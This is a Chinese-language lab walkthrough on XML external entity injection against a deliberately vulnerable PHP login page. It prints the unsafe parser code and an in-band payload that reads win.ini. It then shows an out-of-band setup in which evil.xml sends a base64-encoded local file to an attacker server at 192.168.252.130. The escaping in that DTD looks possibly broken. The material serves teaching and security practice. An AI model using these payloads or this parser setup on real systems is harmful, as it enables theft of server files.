php_xxe
首先我们看一下源码:
<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/
$USERNAME = 'admin'; //账号
$PASSWORD = 'admin'; //密码
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');//使用php伪协议获取我们输入的内容
try{
$dom = new DOMDocument();//创建一个xml对象
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);//从我们输入的内容中加载xml
$creds = simplexml_import_dom($dom,'SimpleXMLElement');//把 DOM 节点转换为 SimpleXMLElement 对象
$username = $creds->username;//获取username标签的值
$password = $creds->password;//获取password标签的值
if($username == $USERNAME && $password == $PASSWORD){
//我们输入的值与指定的值相同的时候
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
//输出用户名的值
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());//获取异常消息并输出
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
函数介绍:
libxml_disable_entity_loader()
libxml_disable_entity_loader() 禁用/启用加载外部实体的功能
libxml_disable_entity_loader ([ bool $disable=TRUE ]):bool
disable 禁用(TRUE)或启用(FALSE)libxml扩展(例如 DOM,XMLWriter 和XMLReader)以加载外部实体。
file_get_contents()
file_get_contents() 将整个文件以字符串格式读取,该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。
file_get_contents(path,include_path,context,start,max_length)
path 必需。规定要读取的文件。
include_path 可选。如果您还想在 include_path(在 php.ini 中)中搜索文件的话,请设置该参数为 '1'。
context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 NULL,则忽略。
start 可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 中新增的。
max_length 可选。规定读取的字节数。该参数是 PHP 5.1 中新增的。
DOMDocument()
DOMDocument() 创建一个DOM文档对象
DOMDocument :: loadXML
DOMDocument :: loadXML 从字符串中加载XML
public DOMDocument::loadXML ( string $source [, int $options = 0 ] ) : mixed
source 包含XML的字符串。
options 按位OR 的的libxml的选项常量。https://www.php.net/manual/zh/libxml.constants.php
成功时返回 TRUE, 或者在失败时返回 FALSE。 If called statically, returns a DOMDocument 或者在失败时返回 FALSE.
LIBXML_NOENT 替代实体
LIBXML_DTDLOAD 加载外部子集
https://www.php.net/manual/zh/domdocument.loadxml.php
simplexml_import_dom()
simplexml_import_dom() 函数把 DOM 节点转换为 SimpleXMLElement 对象。如果失败,则该函数返回 false。
simplexml_import_dom(data,class)
data 必需。规定要使用的 DOM 节点。
class 必需。规定新对象的 class。
getMessage()
getMessage()获取异常消息
看完之后我们使用如下代码来测试:
<?xml version="1.0"?>
<!DOCTYPE Mikasa[
<!ENTITY test SYSTEM "file:///c:/windows/win.ini">
]>
<user><username>&test;</username><password>Mikasa</password></user>
返回结果:
无回显的测试
首先我们修改源代码,将其输出内容的代码注释掉:
<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/
error_reporting(0);//--------------------->添加的代码
$USERNAME = 'admin'; //账号
$PASSWORD = 'admin'; //密码
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom,'SimpleXMLElement');
$username = $creds->username;
$password = $creds->password;
if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
//echo $result;-------------------------------->注释的代码
?>
然后我们使用之前的代码进行测试:
没有再返回内容,这时候我们需要借用另外一台服务器来接受返回的数据。
我们再一台服务器中的根www目录下evil.xml
,内容如下,其中指定的ip地址是自己的ip地址:
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://192.168.252.130/?%file;'>"
>
%all;
然后我们在请求代码如下:
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">
//定义参数实体file SYSTEM表示参数实体引用外部实体内容 内容为如上引号内容。
<!ENTITY % dtd SYSTEM "http://192.168.252.130/evil.xml">//定义参数实体dtd 内容为 http://192.168.252.130/evil.xml 里面的内容
%dtd; //执行%dtd的代码
%send; //执行%send代码
]>
<user><username>&all;</username><password>root</password></user>
我们发送内容的时候需要将上面代码中的注释删除。
发送测试代码:
然后我们查看apache下的日志:
其中的数据就是应该返回的数据,使用base64加密。